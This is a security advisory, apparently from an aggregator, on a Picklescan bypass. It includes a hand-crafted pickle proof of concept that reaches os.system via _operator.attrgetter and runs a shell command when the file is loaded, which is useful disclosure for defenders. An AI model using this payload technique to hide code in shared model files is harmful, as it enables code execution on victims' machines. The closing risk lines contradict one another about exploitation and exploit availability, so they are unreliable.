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GHSA-46h3-79wf-xr6c
No affected components available
Summary
Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.
Details
The attack payload executes in the following steps:
- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.
PoC
import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)
This PoC can't be easily create by pickle.dumps, so it was manually built.
Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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